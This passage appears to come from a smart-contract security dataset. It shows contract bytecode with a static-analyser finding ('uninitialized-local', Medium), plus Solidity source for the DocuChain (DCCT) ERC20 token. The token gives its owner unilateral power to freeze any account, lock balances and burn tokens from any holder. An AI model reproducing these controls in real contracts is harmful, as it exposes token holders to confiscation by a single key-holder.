2f57600080fd5b5061034a600480360381019061034591906123a9565b61199c565b005b34801561035857600080fd5b50610373600480360381019061036e91906122bd565b611c9a565b005b34801561038157600080fd5b5061039c600480360381019061039791906122e6565b611df5565b005b3480156103aa57600080fd5b506103b3612045565b6040516103c091906126f6565b60405180910390f35b60036020528060005260406000206000915090508060000180546103ec90612c89565b80601f016020809104026020016040519081016040528092919081815260200182805461041890612c89565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030160009054906101000a900460ff16905084565b600660009054906101000a900460ff16156104c857600080fd5b6001600660006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056a9061285c565b60405180910390fd5b806004819055507f0b5f65d965d0754b2f28851c9536b1bdc2a759356fcb800d94b385d28505925a816040516105a991906128bc565b60405180910390a16000600660006101000a81548160ff02191690831515021790555050565b60045481565b600660009054906101000a900460ff16156105ef57600080fd5b6001600660006101000a81548160ff021916908315150217905550600554821061064e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106459061289c565b60405180910390fd5b60006003600084815260200190815260200160002090508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee9061287c565b60405180910390fd5b60006002811115610731577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8160030160009054906101000a900460ff16600281111561077b577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b146107bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b2906127dc565b60405180910390fd5b6107c482610e59565b610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa9061281c565b60405180910390fd5b6000600261081084610925565b60405161081d91906126c4565b9081526020016040518091039020541461086c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610863906127fc565b60405180910390fd5b8181600001908051906020019061088492919061206b565b507f17625f74492c7b2d3173554746472430ba132f6d06d4d922e5b98c182a96128c83836040516108b6929190612900565b60405180910390a1506000600660006101000a81548160ff0219169083151502179055505050565b600660009054906101000a900460ff1681565b60055481565b6002818051602081018201805184825260208301602085012081835280955050505050506000915090505481565b606060008290506000815167ffffffffffffffff81111561096f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156109a15781602001600182028036833780820191505090505b50905060005b8251811015610bdc5760418382815181106109eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b60f81c60ff1610158015610a545750605a838281518110610a40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b60f81c60ff1611155b15610b1c576020838281518110610a94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b60f81c610aac9190612b1a565b60f81b828281518110610ae8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350610bc9565b828181518110610b55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b828281518110610b99577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b8080610bd490612cec565b9150506109a7565b508092505050919050565b600660009054906101000a900460ff1615610c0157600080fd5b6001600660006101000a81548160ff021916908315150217905550610c2581610e59565b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b9061281c565b60405180910390fd5b60006002610c7183610925565b604051610c7e91906126c4565b90815260200160405180910390205414610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc4906127fc565b60405180910390fd5b600454341015610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d099061283c565b60405180910390fd5b6000600360006005548152602001908152602001600020905081816000019080519060200190610d4392919061206b565b50338160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034816002018190555060008160030160006101000a81548160ff02191690836002811115610dde577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055507f87e5123013ea92397f6e0cd4dbd0fe17f71d7e04d207c64c21d481b2071dc8f7600554833433604051610e1a9493929190612930565b60405180910390a160056000815480929190610e3590612cec565b9190505550506000600660006101000a81548160ff02191690831515021790555050565b600080829050600181511015610e7357600091505061121e565b601981511115610e8757600091505061121e565b602060f81b81600081518110610ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610f0357600091505061121e565b602060f81b8160018351610f179190612b51565b81518110610f4e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610f8b57600091505061121e565b600081600081518110610fc7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b905060005b825181101561121657600083828151811061101b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b9050602060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156110825750602060f81b837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b1561109457600094505050505061121e565b603060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156110f05750603960f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1580156111565750604160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156111545750605a60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b155b80156111bb5750606160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156111b95750607a60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b155b80156111ed5750602060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b156111ff57600094505050505061121e565b80925050808061120e90612cec565b915050610fd7565b506001925050505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa9061285c565b60405180910390fd5b600660009054906101000a900460ff16156112cd57600080fd5b6001600660006101000a81548160ff02191690831515021790555060005b815181101561172357600060036000848481518110611333577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518152602001908152602001600020905060006002811115611385577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8160030160009054906101000a900460ff1660028111156113cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1461140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906127bc565b60405180910390fd5b600060026114a883600001805461142590612c89565b80601f016020809104026020016040519081016040528092919081815260200182805461145190612c89565b801561149e5780601f106114735761010080835404028352916020019161149e565b820191906000526020600020905b81548152906001019060200180831161148157829003601f168201915b5050505050610925565b6040516114b591906126c4565b908152602001604051809103902054146114ce57600080fd5b60018160030160006101000a81548160ff0219169083600281111561151c577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b021790555082828151811061155a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160026115f983600001805461157690612c89565b80601f01602080910402602001604051908101604052809291908181526020018280546115a290612c89565b80156115ef5780601f106115c4576101008083540402835291602001916115ef565b820191906000526020600020905b8154815290600101906020018083116115d257829003601f168201915b5050505050610925565b60405161160691906126c4565b908152602001604051809103902081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82600201549081150290604051600060405180830381858888f19350505050158015611684573d6000803e3d6000fd5b507fd36b784449e85ccb8d578725530da585c25aaf6ef54064ccae12d0b27cf5967f8383815181106116df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518260030160009054906101000a900460ff166040516117079291906128d7565b60405180910390a150808061171b90612cec565b9150506112eb565b506000600660006101000a81548160ff02191690831515021790555050565b600660009054906101000a900460ff161561175c57600080fd5b6001600660006101000a81548160ff02191690831515021790555060055481106117bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b29061289c565b60405180910390fd5b60006003600083815260200190815260200160002090508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185b9061287c565b60405180910390fd5b6000600281111561189e577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8160030160009054906101000a900460ff1660028111156118e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b14611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f906127dc565b60405180910390fd5b8060020154346119389190612ac4565b81600201819055507ff96ba3dd915a4302d3144436d0f02c55ce6b99cfb1db663dbd11d7b516281b3b82826002015460405161197592919061297c565b60405180910390a1506000600660006101000a81548160ff02191690831515021790555050565b600660009054906101000a900460ff16156119b657600080fd5b6001600660006101000a81548160ff0219169083151502179055506005548110611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c9061289c565b60405180910390fd5b60006003600083815260200190815260200160002090508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab59061287c565b60405180910390fd5b60006002811115611af8577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8160030160009054906101000a900460ff166002811115611b42577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b14611b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b79906127dc565b60405180910390fd5b60028160030160006101000a81548160ff02191690836002811115611bd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82600201549081150290604051600060405180830381858888f19350505050158015611c43573d6000803e3d6000fd5b507f419e8cf952fb14ddc459d5867720bb5cb18651c1d00e5755fed239f426a68a1782604051611c7391906128bc565b60405180910390a1506000600660006101000a81548160ff02191690831515021790555050565b600660009054906101000a900460ff1615611cb457600080fd5b6001600660006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d569061285c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f54e4612788f90384e6843298d7854436f3a585b2c3831ab66abf1de63bfa6c2d81604051611dcf91906126db565b60405180910390a16000600660006101000a81548160ff02191690831515021790555050565b600660009054906101000a900460ff1615611e0f57600080fd5b6001600660006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb19061285c565b60405180910390fd5b60005b8151811015611fef5760006002611f13848481518110611f06577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610925565b604051611f2091906126c4565b90815260200160405180910390205414611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f66906127fc565b60405180910390fd5b6000546002611fbd848481518110611fb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610925565b604051611fca91906126c4565b9081526020016040518091039020819055508080611fe790612cec565b915050611ebd565b507fd898758494efa6a67cb7e54c820611293c32c4555d1d47c98f991a2a5f11bb868160405161201f9190612711565b60405180910390a16000600660006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b82805461207790612c89565b90600052602060002090601f01602090048101928261209957600085556120e0565b82601f106120b257805160ff19168380011785556120e0565b828001600101855582156120e0579182015b828111156120df5782518255916020019190600101906120c4565b5b5090506120ed91906120f1565b5090565b5b8082111561210a5760008160009055506001016120f2565b5090565b600061212161211c846129ca565b6129a5565b9050808382526020820190508260005b858110156121615781358501612147888261227e565b845260208401935060208301925050600181019050612131565b5050509392505050565b600061217e612179846129f6565b6129a5565b9050808382526020820190508285602086028201111561219d57600080fd5b60005b858110156121cd57816121b388826122a8565b8452602084019350602083019250506001810190506121a0565b5050509392505050565b60006121ea6121e584612a22565b6129a5565b90508281526020810184848401111561220257600080fd5b61220d848285612c47565b509392505050565b60008135905061222481612f5e565b92915050565b600082601f83011261223b57600080fd5b813561224b84826020860161210e565b91505092915050565b600082601f83011261226557600080fd5b813561227584826020860161216b565b91505092915050565b600082601f83011261228f57600080fd5b813561229f8482602086016121d7565b91505092915050565b6000813590506122b781612f75565b92915050565b6000602082840312156122cf57600080fd5b60006122dd84828501612215565b91505092915050565b6000602082840312156122f857600080fd5b600082013567ffffffffffffffff81111561231257600080fd5b61231e8482850161222a565b91505092915050565b60006020828403121561233957600080fd5b600082013567ffffffffffffffff81111561235357600080fd5b61235f84828501612254565b91505092915050565b60006020828403121561237a57600080fd5b600082013567ffffffffffffffff81111561239457600080fd5b6123a08482850161227e565b91505092915050565b6000602082840312156123bb57600080fd5b60006123c9848285016122a8565b91505092915050565b600080604083850312156123e557600080fd5b60006123f3858286016122a8565b925050602083013567ffffffffffffffff81111561241057600080fd5b61241c8582860161227e565b9150509250929050565b600061243283836124fa565b905092915050565b61244381612bff565b82525050565b61245281612b97565b82525050565b61246181612b85565b82525050565b600061247282612a63565b61247c8185612a86565b93508360208202850161248e85612a53565b8060005b858110156124ca57848403895281516124ab8582612426565b94506124b683612a79565b925060208a01995050600181019050612492565b50829750879550505050505092915050565b6124e581612ba9565b82525050565b6124f481612c11565b82525050565b600061250582612a6e565b61250f8185612a97565b935061251f818560208601612c56565b61252881612df1565b840191505092915050565b600061253e82612a6e565b6125488185612aa8565b9350612558818560208601612c56565b61256181612df1565b840191505092915050565b600061257782612a6e565b6125818185612ab9565b9350612591818560208601612c56565b80840191505092915050565b60006125aa601b83612aa8565b91506125b582612e02565b602082019050919050565b60006125cd601783612aa8565b91506125d882612e2b565b602082019050919050565b60006125f0601283612aa8565b91506125fb82612e54565b602082019050919050565b6000612613600e83612aa8565b915061261e82612e7d565b602082019050919050565b6000612636601183612aa8565b915061264182612ea6565b602082019050919050565b6000612659600c83612aa8565b915061266482612ecf565b602082019050919050565b600061267c601483612aa8565b915061268782612ef8565b602082019050919050565b600061269f601483612aa8565b91506126aa82612f21565b602082019050919050565b6126be81612be8565b82525050565b60006126d0828461256c565b915081905092915050565b60006020820190506126f0600083018461243a565b92915050565b600060208201905061270b6000830184612449565b92915050565b6000602082019050818103600083015261272b8184612467565b905092915050565b600060208201905061274860008301846124dc565b92915050565b600060208201905081810360008301526127688184612533565b905092915050565b6000608082019050818103600083015261278a8187612533565b90506127996020830186612449565b6127a660408301856126b5565b6127b360608301846124eb565b95945050505050565b600060208201905081810360008301526127d58161259d565b9050919050565b600060208201905081810360008301526127f5816125c0565b9050919050565b60006020820190508181036000830152612815816125e3565b9050919050565b6000602082019050818103600083015261283581612606565b9050919050565b6000602082019050818103600083015261285581612629565b9050919050565b600060208201905081810360008301526128758161264c565b9050919050565b600060208201905081810360008301526128958161266f565b9050919050565b600060208201905081810360008301526128b581612692565b9050919050565b60006020820190506128d160008301846126b5565b92915050565b60006040820190506128ec60008301856126b5565b6128f960208301846124eb565b9392505050565b600060408201905061291560008301856126b5565b81810360208301526129278184612533565b90509392505050565b600060808201905061294560008301876126b5565b81810360208301526129578186612533565b905061296660408301856126b5565b6129736060830184612458565b95945050505050565b600060408201905061299160008301856126b5565b61299e60208301846126b5565b9392505050565b60006129af6129c0565b90506129bb8282612cbb565b919050565b6000604051905090565b600067ffffffffffffffff8211156129e5576129e4612dc2565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612a1157612a10612dc2565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612a3d57612a3c612dc2565b5b612a4682612df1565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612acf82612be8565b9150612ada83612be8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b0f57612b0e612d35565b5b828201905092915050565b6000612b2582612bf2565b9150612b3083612bf2565b92508260ff03821115612b4657612b45612d35565b5b828201905092915050565b6000612b5c82612be8565b9150612b6783612be8565b925082821015612b7a57612b79612d35565b5b828203905092915050565b6000612b9082612bc8565b9050919050565b6000612ba282612bc8565b9050919050565b60008115159050919050565b6000819050612bc382612f4a565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c0a82612c23565b9050919050565b6000612c1c82612bb5565b9050919050565b6000612c2e82612c35565b9050919050565b6000612c4082612bc8565b9050919050565b82818337600083830152505050565b60005b83811015612c74578082015181840152602081019050612c59565b83811115612c83576000848401525b50505050565b60006002820490506001821680612ca157607f821691505b60208210811415612cb557612cb4612d93565b5b50919050565b612cc482612df1565b810181811067ffffffffffffffff82111715612ce357612ce2612dc2565b5b80604052505050565b6000612cf782612be8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2a57612d29612d35565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f636f6d6d697373696f6e206e6f7420696e207468652071756575650000000000600082015250565b7f636f6d6d697373696f6e206e6f7420696e207175657565000000000000000000600082015250565b7f6e616d65206e6f7420617661696c61626c650000000000000000000000000000600082015250565b7f6e616d65206e6f742076616c6964000000000000000000000000000000000000600082015250565b7f6269642062656c6f77206d696e696d756d000000000000000000000000000000600082015250565b7f6e6f7420616e2061646d696e0000000000000000000000000000000000000000600082015250565b7f636f6d6d697373696f6e206e6f7420796f757273000000000000000000000000600082015250565b7f636f6d6d697373696f6e206e6f742076616c6964000000000000000000000000600082015250565b60038110612f5b57612f5a612d64565b5b50565b612f6781612b97565b8114612f7257600080fd5b50565b612f7e81612be8565b8114612f8957600080fd5b5056fea26469706673582212202ff6de32aaa7921c1f32974ad619a093f5f2fc9a03684f2d18aa59d338666bb764736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,831
0x0080d1711e441b9edbde596d584af7af05afab7a
/** *Submitted for verification at Etherscan.io on 2021-06-21 */ pragma solidity ^0.5.4; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add( addedValue ); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub( subtractedValue ); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer( address from, address to, uint256 value ) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } } contract DCCT is ERC20 { string public constant name = "DocuChain"; string public constant symbol = "DCCT"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 2000000000 * (10**uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner { require(_receivers.length != 0); require(_receivers.length == _values.length); for (uint256 i = 0; i < _receivers.length; i++) { transfer(_receivers[i], _values[i]); emit Transfer(msg.sender, _receivers[i], _values[i]); } } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer(address _to, uint256 _value) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for (uint256 i = 0; i < lockInfo[_holder].length; i++) { if (lockInfo[_holder][i].releaseTime <= now) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } } return super.balanceOf(_holder).add(lockedBalance); } function balanceOfLocked(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for (uint256 i = 0; i < lockInfo[_holder].length; i++) { if (lockInfo[_holder][i].releaseTime > now) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } } return lockedBalance; } function balanceOfTotal(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for (uint256 i = 0; i < lockInfo[_holder].length; i++) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for (uint256 i = 0; i < lockInfo[_holder].length; i++) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add( lockInfo[_holder][i].balance ); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder] .length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return ( lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance ); } function lock( address _holder, uint256 _amount, uint256 _releaseTime ) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push(LockInfo(_releaseTime, _amount)); emit Lock(_holder, _amount, _releaseTime); } function lockAfter( address _holder, uint256 _amount, uint256 _afterTime ) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push(LockInfo(now + _afterTime, _amount)); emit Lock(_holder, _amount, now + _afterTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add( lockInfo[_holder][i].balance ); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock( address _to, uint256 _value, uint256 _releaseTime ) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push(LockInfo(_releaseTime, _value)); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } function transferWithLockAfter( address _to, uint256 _value, uint256 _afterTime ) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push(LockInfo(now + _afterTime, _value)); emit Transfer(owner, _to, _value); emit Lock(_to, _value, now + _afterTime); return true; } function currentTime() public view returns (uint256) { return now; } function afterTime(uint256 _value) public view returns (uint256) { return now + _value; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638d1fdf2f1161011a578063d18e81b3116100ad578063df0345861161007c578063df03458614610755578063e2ab691d1461077b578063e5839836146107ad578063e960bb48146107d3578063f2fde38b146107f957610206565b8063d18e81b3146106c7578063d29dad83146106cf578063dd62ed3e146106f5578063de6baccb1461072357610206565b80639dc29fac116100e95780639dc29fac1461051c578063a457c2d714610548578063a9059cbb14610574578063c77828d0146105a057610206565b80638d1fdf2f146104985780638da5cb5b146104be578063927a4a7b146104e257806395d89b411461051457610206565b80633f4ba83a1161019d57806370a082311161016c57806370a0823114610404578063715018a61461042a5780637eee288d146104325780638456cb591461045e5780638a57af6b1461046657610206565b80633f4ba83a1461038757806345c8b1a61461039157806346cf1bb5146103b75780635c975abb146103fc57610206565b806323b872dd116101d957806323b872dd146102ff578063313ce56714610335578063378dc3dc14610353578063395093511461035b57610206565b806304859ceb1461020b57806306fdde031461023a578063095ea7b3146102b757806318160ddd146102f7575b600080fd5b6102286004803603602081101561022157600080fd5b503561081f565b60408051918252519081900360200190f35b610242610824565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027c578181015183820152602001610264565b50505050905090810190601f1680156102a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e3600480360360408110156102cd57600080fd5b506001600160a01b038135169060200135610849565b604080519115158252519081900360200190f35b6102286108c5565b6102e36004803603606081101561031557600080fd5b506001600160a01b038135811691602081013590911690604001356108cc565b61033d6109aa565b6040805160ff9092168252519081900360200190f35b6102286109af565b6102e36004803603604081101561037157600080fd5b506001600160a01b0381351690602001356109bf565b61038f610a6d565b005b61038f600480360360208110156103a757600080fd5b50356001600160a01b0316610b3f565b6103e3600480360360408110156103cd57600080fd5b506001600160a01b038135169060200135610be2565b6040805192835260208301919091528051918290030190f35b6102e3610c5b565b6102286004803603602081101561041a57600080fd5b50356001600160a01b0316610c6b565b61038f610